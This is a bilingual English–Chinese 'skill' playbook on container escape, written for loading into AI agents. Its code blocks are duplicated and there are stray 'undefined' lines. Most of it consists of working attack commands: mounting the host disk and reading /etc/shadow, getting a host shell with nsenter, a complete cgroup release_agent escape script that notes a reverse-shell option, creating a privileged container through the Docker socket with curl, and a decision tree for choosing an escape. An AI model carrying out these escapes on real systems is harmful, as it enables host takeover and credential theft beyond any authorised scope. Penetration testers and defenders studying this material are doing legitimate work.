container-escape-techniques

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

SKILL: Container Escape Techniques — Expert Attack Playbook

SKILL:容器逃逸技术 —— 专家级攻击手册

AI LOAD INSTRUCTION: Expert container escape techniques. Covers privileged container breakout, capability abuse, Docker socket exploitation, cgroup release_agent, namespace escape, runtime CVEs, and Kubernetes pod escape. Base models miss subtle escape paths via combined capabilities and cgroup manipulation.
AI加载说明:专家级容器逃逸技术,覆盖特权容器突破、capability滥用、Docker socket利用、cgroup release_agent、命名空间逃逸、运行时CVE、Kubernetes pod逃逸。基础模型会遗漏结合capability和cgroup操作的隐蔽逃逸路径。

0. RELATED ROUTING

0. 相关路由

Before going deep, consider loading:
  • linux-privilege-escalation when you first need root inside the container before attempting escape
  • kubernetes-pentesting for K8s-specific attack paths beyond pod escape
  • linux-security-bypass when seccomp/AppArmor blocks your escape technique
在深入学习前,可考虑加载以下内容:
  • linux-privilege-escalation:如果你在尝试逃逸前需要先在容器内获取root权限
  • kubernetes-pentesting:获取Pod逃逸之外的K8s专属攻击路径
  • linux-security-bypass:当seccomp/AppArmor阻断了你的逃逸技术时使用

Advanced Reference

高级参考

Also load DOCKER_ESCAPE_CHAINS.md when you need:
  • Step-by-step escape chains for common misconfigurations
  • Docker-in-Docker escape scenarios
  • Kubernetes-specific escape paths with full command sequences

当你需要以下内容时,也可加载 DOCKER_ESCAPE_CHAINS.md
  • 常见配置错误的分步逃逸链
  • Docker-in-Docker逃逸场景
  • 带完整命令序列的Kubernetes专属逃逸路径

1. AM I IN A CONTAINER?

1. 我是否身处容器中?

bash
undefined
bash
undefined

Quick checks

Quick checks

cat /proc/1/cgroup 2>/dev/null | grep -qi "docker|kubepods|containerd" ls -la /.dockerenv 2>/dev/null cat /proc/self/mountinfo | grep -i "overlay|docker|kubelet" hostname # random hex = likely container
cat /proc/1/cgroup 2>/dev/null | grep -qi "docker|kubepods|containerd" ls -la /.dockerenv 2>/dev/null cat /proc/self/mountinfo | grep -i "overlay|docker|kubelet" hostname # random hex = likely container

Detailed check

Detailed check

cat /proc/1/status | head -5 # PID 1 is not systemd/init? mount | grep -i "overlay" # overlay filesystem? ip addr # veth interface? limited NICs?
undefined
cat /proc/1/status | head -5 # PID 1 is not systemd/init? mount | grep -i "overlay" # overlay filesystem? ip addr # veth interface? limited NICs?
undefined

Tools for Container Detection

容器检测工具

bash
undefined
bash
undefined

amicontained: shows container runtime, capabilities, seccomp

amicontained: shows container runtime, capabilities, seccomp

./amicontained
./amicontained

deepce: Docker enumeration and exploit suggester

deepce: Docker enumeration and exploit suggester

./deepce.sh
./deepce.sh

CDK: all-in-one container pentesting toolkit

CDK: all-in-one container pentesting toolkit

./cdk evaluate

---
./cdk evaluate

---

2. PRIVILEGED CONTAINER ESCAPE

2. 特权容器逃逸

If
--privileged
flag was used, the container has nearly all host capabilities and device access.
如果使用了
--privileged
参数,容器几乎拥有所有宿主机capability和设备访问权限。

2.1 Mount Host Filesystem

2.1 挂载宿主机文件系统

bash
undefined
bash
undefined

Check if privileged

Check if privileged

cat /proc/self/status | grep CapEff
cat /proc/self/status | grep CapEff

CapEff: 0000003fffffffff = fully privileged

CapEff: 0000003fffffffff = fully privileged

Find host disk

Find host disk

fdisk -l 2>/dev/null || lsblk
fdisk -l 2>/dev/null || lsblk

Usually /dev/sda1 or /dev/vda1

Usually /dev/sda1 or /dev/vda1

Mount host root

Mount host root

mkdir -p /mnt/host mount /dev/sda1 /mnt/host
mkdir -p /mnt/host mount /dev/sda1 /mnt/host

Access host filesystem

Access host filesystem

cat /mnt/host/etc/shadow chroot /mnt/host bash
undefined
cat /mnt/host/etc/shadow chroot /mnt/host bash
undefined

2.2 nsenter (Enter Host Namespaces)

2.2 nsenter(进入宿主机命名空间)

bash
undefined
bash
undefined

From privileged container, enter host PID 1's namespaces

From privileged container, enter host PID 1's namespaces

nsenter --target 1 --mount --uts --ipc --net --pid -- bash
nsenter --target 1 --mount --uts --ipc --net --pid -- bash

This gives a shell in the host's namespace context

This gives a shell in the host's namespace context

Effectively a full host shell

Effectively a full host shell

undefined
undefined

2.3 Privileged + Host PID Namespace

2.3 特权模式 + 宿主机PID命名空间

bash
undefined
bash
undefined

If hostPID: true is set (Kubernetes)

If hostPID: true is set (Kubernetes)

Access host processes via /proc

Access host processes via /proc

ls /proc/1/root/ # Host root filesystem cat /proc/1/root/etc/shadow
ls /proc/1/root/ # Host root filesystem cat /proc/1/root/etc/shadow

Inject into host process

Inject into host process

nsenter --target 1 --mount -- bash

---
nsenter --target 1 --mount -- bash

---

3. CAPABILITY-BASED ESCAPE

3. 基于Capability的逃逸

3.1 CAP_SYS_ADMIN — Most Versatile

3.1 CAP_SYS_ADMIN —— 通用性最强

bash
undefined
bash
undefined

Check capabilities

Check capabilities

capsh --print 2>/dev/null grep CapEff /proc/self/status
capsh --print 2>/dev/null grep CapEff /proc/self/status

Escape via mounting

Escape via mounting

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp

Or mount host filesystem if device access exists

Or mount host filesystem if device access exists

mount /dev/sda1 /mnt/host 2>/dev/null
undefined
mount /dev/sda1 /mnt/host 2>/dev/null
undefined

3.2 CAP_SYS_PTRACE — Process Injection

3.2 CAP_SYS_PTRACE —— 进程注入

bash
undefined
bash
undefined

Inject shellcode into a host process (requires host PID namespace)

Inject shellcode into a host process (requires host PID namespace)

Find a root process

Find a root process

ps aux | grep root
ps aux | grep root

Use gdb or python-ptrace to inject

Use gdb or python-ptrace to inject

python3 << 'EOF' import ctypes import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library("c"))
python3 << 'EOF' import ctypes import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library("c"))

Attach to host process, inject shellcode

Attach to host process, inject shellcode

... (full inject_shellcode implementation)

... (full inject_shellcode implementation)

EOF
undefined
EOF
undefined

3.3 CAP_NET_ADMIN

3.3 CAP_NET_ADMIN

bash
undefined
bash
undefined

Manipulate host network if host network namespace is shared

Manipulate host network if host network namespace is shared

ARP spoofing, route manipulation, traffic interception

ARP spoofing, route manipulation, traffic interception

iptables -L # Can see/modify host firewall rules? ip route # Can modify routing?
undefined
iptables -L # Can see/modify host firewall rules? ip route # Can modify routing?
undefined

3.4 CAP_DAC_READ_SEARCH (Shocker Exploit)

3.4 CAP_DAC_READ_SEARCH(Shocker Exploit)

bash
undefined
bash
undefined

open_by_handle_at() bypass — read files from host

open_by_handle_at() bypass — read files from host

Compile and run the "shocker" exploit

Compile and run the "shocker" exploit

Works when DAC_READ_SEARCH capability is granted

Works when DAC_READ_SEARCH capability is granted

gcc shocker.c -o shocker ./shocker /etc/shadow # Read host file

---
gcc shocker.c -o shocker ./shocker /etc/shadow # Read host file

---

4. DOCKER SOCKET ESCAPE (/var/run/docker.sock)

4. Docker Socket逃逸(/var/run/docker.sock)

bash
ls -la /var/run/docker.sock   # Check if mounted
bash
ls -la /var/run/docker.sock   # Check if mounted

With Docker CLI:

With Docker CLI:

docker run -v /:/host --privileged -it alpine chroot /host bash
docker run -v /:/host --privileged -it alpine chroot /host bash

Without CLI (curl only) — create privileged container via API:

Without CLI (curl only) — create privileged container via API:

curl -s --unix-socket /var/run/docker.sock
-X POST http://localhost/containers/create
-H "Content-Type: application/json"
-d '{"Image":"alpine","Cmd":["/bin/sh"],"Tty":true,"OpenStdin":true, "HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
curl -s --unix-socket /var/run/docker.sock
-X POST http://localhost/containers/create
-H "Content-Type: application/json"
-d '{"Image":"alpine","Cmd":["/bin/sh"],"Tty":true,"OpenStdin":true, "HostConfig":{"Binds":["/:/host"],"Privileged":true}}'

Start → Exec chroot /host bash (see DOCKER_ESCAPE_CHAINS.md for full sequence)

Start → Exec chroot /host bash (see DOCKER_ESCAPE_CHAINS.md for full sequence)


---

---

5. CGROUP V1 RELEASE_AGENT ESCAPE

5. CGROUP V1 RELEASE_AGENT逃逸

Classic escape for containers with CAP_SYS_ADMIN + cgroup v1.
bash
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w && echo 1 > $d/w/notify_on_release
host_path=$(sed -n 's/.*\bperdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > $d/release_agent

cat > /cmd << 'EOF'
#!/bin/sh
cat /etc/shadow > /output 2>&1       # Or: reverse shell
EOF
chmod +x /cmd

sh -c "echo \$\$ > $d/w/cgroup.procs" && sleep 1
cat /output

针对拥有CAP_SYS_ADMIN + cgroup v1的容器的经典逃逸方法。
bash
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w && echo 1 > $d/w/notify_on_release
host_path=$(sed -n 's/.*\bperdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > $d/release_agent

cat > /cmd << 'EOF'
#!/bin/sh
cat /etc/shadow > /output 2>&1       # Or: reverse shell
EOF
chmod +x /cmd

sh -c "echo \$\$ > $d/w/cgroup.procs" && sleep 1
cat /output

6. CGROUP V2 / eBPF ESCAPE

6. CGROUP V2 / eBPF逃逸

bash
undefined
bash
undefined

Cgroup v2: no release_agent file

Cgroup v2: no release_agent file

Check cgroup version:

Check cgroup version:

mount | grep cgroup
mount | grep cgroup

cgroup2 → v2

cgroup2 → v2

eBPF-based escape (requires CAP_SYS_ADMIN + CAP_BPF or equivalent)

eBPF-based escape (requires CAP_SYS_ADMIN + CAP_BPF or equivalent)

Kernel ≥ 5.8 with unprivileged eBPF enabled

Kernel ≥ 5.8 with unprivileged eBPF enabled

cat /proc/sys/kernel/unprivileged_bpf_disabled
cat /proc/sys/kernel/unprivileged_bpf_disabled

0 = eBPF available to unprivileged users

0 = eBPF available to unprivileged users


---

---

7. NAMESPACE ESCAPE

7. 命名空间逃逸

User Namespace

用户命名空间

bash
undefined
bash
undefined

If user namespace creation is allowed inside container:

If user namespace creation is allowed inside container:

unshare -U --map-root-user bash
unshare -U --map-root-user bash

Now "root" inside new namespace

Now "root" inside new namespace

Combined with other capabilities → mount host filesystem

Combined with other capabilities → mount host filesystem

undefined
undefined

PID Namespace Escape

PID命名空间逃逸

bash
undefined
bash
undefined

If hostPID: true (shared PID namespace with host)

If hostPID: true (shared PID namespace with host)

Access host processes directly:

Access host processes directly:

ls /proc/1/root/ # Host's root filesystem cat /proc/1/root/etc/shadow
ls /proc/1/root/ # Host's root filesystem cat /proc/1/root/etc/shadow

Inject into host process:

Inject into host process:

nsenter -t 1 -m -u -i -n -p -- bash

---
nsenter -t 1 -m -u -i -n -p -- bash

---

8. RUNTIME VULNERABILITIES

8. 运行时漏洞

runc CVE-2019-5736

runc CVE-2019-5736

Overwrites host runc binary when
docker exec
is used.
bash
undefined
使用
docker exec
时会覆盖宿主机的runc二进制文件。
bash
undefined

Conditions: docker exec into a malicious container triggers exploit

Conditions: docker exec into a malicious container triggers exploit

The container's /bin/sh is replaced with exploit binary

The container's /bin/sh is replaced with exploit binary

When next exec happens → overwrites /usr/bin/runc on host

When next exec happens → overwrites /usr/bin/runc on host

PoC: modify entrypoint to overwrite runc

PoC: modify entrypoint to overwrite runc

This is a one-shot exploit — runc is replaced permanently

This is a one-shot exploit — runc is replaced permanently

undefined
undefined

containerd CVE-2020-15257

containerd CVE-2020-15257

bash
undefined
bash
undefined

Host network namespace shared + containerd < 1.3.9 / 1.4.3

Host network namespace shared + containerd < 1.3.9 / 1.4.3

Abstract Unix socket accessible from container

Abstract Unix socket accessible from container

Connect to containerd shim API via @/containerd-shim/*.sock

Connect to containerd shim API via @/containerd-shim/*.sock

undefined
undefined

cgroups CVE-2022-0492

cgroups CVE-2022-0492

bash
undefined
bash
undefined

Unpatched kernel allows cgroup escape without CAP_SYS_ADMIN

Unpatched kernel allows cgroup escape without CAP_SYS_ADMIN

release_agent writable by unprivileged user in container

release_agent writable by unprivileged user in container


---

---

9. KUBERNETES POD ESCAPE

9. Kubernetes Pod逃逸

Dangerous Pod SpecEscape
hostPID: true
nsenter -t 1 -m -u -i -n -p -- bash
hostNetwork: true
Access node services (Kubelet, etcd) directly
hostPath: {path: /}
chroot /host bash
privileged: true
Mount host disk / nsenter
SA token with RBACCreate new privileged pod via API
See kubernetes-pentesting for full K8s attack paths.

危险Pod配置逃逸方法
hostPID: true
nsenter -t 1 -m -u -i -n -p -- bash
hostNetwork: true
直接访问节点服务(Kubelet、etcd)
hostPath: {path: /}
chroot /host bash
privileged: true
挂载宿主机磁盘 / nsenter
带高权限RBAC的SA令牌通过API创建新的特权Pod
完整K8s攻击路径请查看 kubernetes-pentesting

10. TOOLS

10. 工具

ToolPurposeURL/Command
deepceDocker enumeration + exploit suggestions
./deepce.sh
CDKContainer/K8s exploitation toolkit
./cdk evaluate
amicontainedShow container runtime, caps, seccomp
./amicontained
PEIRATESKubernetes penetration testing
./peirates
BOtBBreak out the Box — auto-escape
./botb -autopwn

工具用途URL/命令
deepceDocker枚举 + 利用建议
./deepce.sh
CDK容器/K8s利用工具包
./cdk evaluate
amicontained展示容器运行时、cap、seccomp信息
./amicontained
PEIRATESKubernetes渗透测试
./peirates
BOtBBreak out the Box — 自动逃逸
./botb -autopwn

11. CONTAINER ESCAPE DECISION TREE

11. 容器逃逸决策树

Inside a container?
├── Privileged mode? (CapEff = 0000003fffffffff)
│   ├── Yes → mount host disk (§2.1) or nsenter (§2.2)
│   └── Partial capabilities? Check each:
│       ├── CAP_SYS_ADMIN → cgroup release_agent (§5) or mount (§3.1)
│       ├── CAP_SYS_PTRACE + hostPID → process injection (§3.2)
│       ├── CAP_DAC_READ_SEARCH → shocker exploit (§3.4)
│       └── CAP_NET_ADMIN + hostNetwork → network manipulation (§3.3)
├── Docker socket mounted? (/var/run/docker.sock)
│   └── Yes → create privileged container (§4)
├── Host PID namespace shared?
│   └── Yes → nsenter -t 1 or /proc/1/root access (§7)
├── Cgroup v1?
│   └── + CAP_SYS_ADMIN → release_agent escape (§5)
├── Runtime vulnerable?
│   ├── runc < 1.0.0-rc6 → CVE-2019-5736 (§8)
│   └── containerd < 1.3.9 → CVE-2020-15257 (§8)
├── Kernel vulnerable?
│   └── Check KERNEL_EXPLOITS_CHECKLIST in linux-privilege-escalation
├── Kubernetes pod?
│   ├── Service account with elevated RBAC? → create escape pod (§9)
│   └── hostPath volume? → access host filesystem
└── None of the above?
    ├── Run deepce/CDK for automated detection
    ├── Check for writable host mount points
    ├── Enumerate network for other containers/services
    └── Check /proc/self/mountinfo for interesting mounts
Inside a container?
├── Privileged mode? (CapEff = 0000003fffffffff)
│   ├── Yes → mount host disk (§2.1) or nsenter (§2.2)
│   └── Partial capabilities? Check each:
│       ├── CAP_SYS_ADMIN → cgroup release_agent (§5) or mount (§3.1)
│       ├── CAP_SYS_PTRACE + hostPID → process injection (§3.2)
│       ├── CAP_DAC_READ_SEARCH → shocker exploit (§3.4)
│       └── CAP_NET_ADMIN + hostNetwork → network manipulation (§3.3)
├── Docker socket mounted? (/var/run/docker.sock)
│   └── Yes → create privileged container (§4)
├── Host PID namespace shared?
│   └── Yes → nsenter -t 1 or /proc/1/root access (§7)
├── Cgroup v1?
│   └── + CAP_SYS_ADMIN → release_agent escape (§5)
├── Runtime vulnerable?
│   ├── runc < 1.0.0-rc6 → CVE-2019-5736 (§8)
│   └── containerd < 1.3.9 → CVE-2020-15257 (§8)
├── Kernel vulnerable?
│   └── Check KERNEL_EXPLOITS_CHECKLIST in linux-privilege-escalation
├── Kubernetes pod?
│   ├── Service account with elevated RBAC? → create escape pod (§9)
│   └── hostPath volume? → access host filesystem
└── None of the above?
    ├── Run deepce/CDK for automated detection
    ├── Check for writable host mount points
    ├── Enumerate network for other containers/services
    └── Check /proc/self/mountinfo for interesting mounts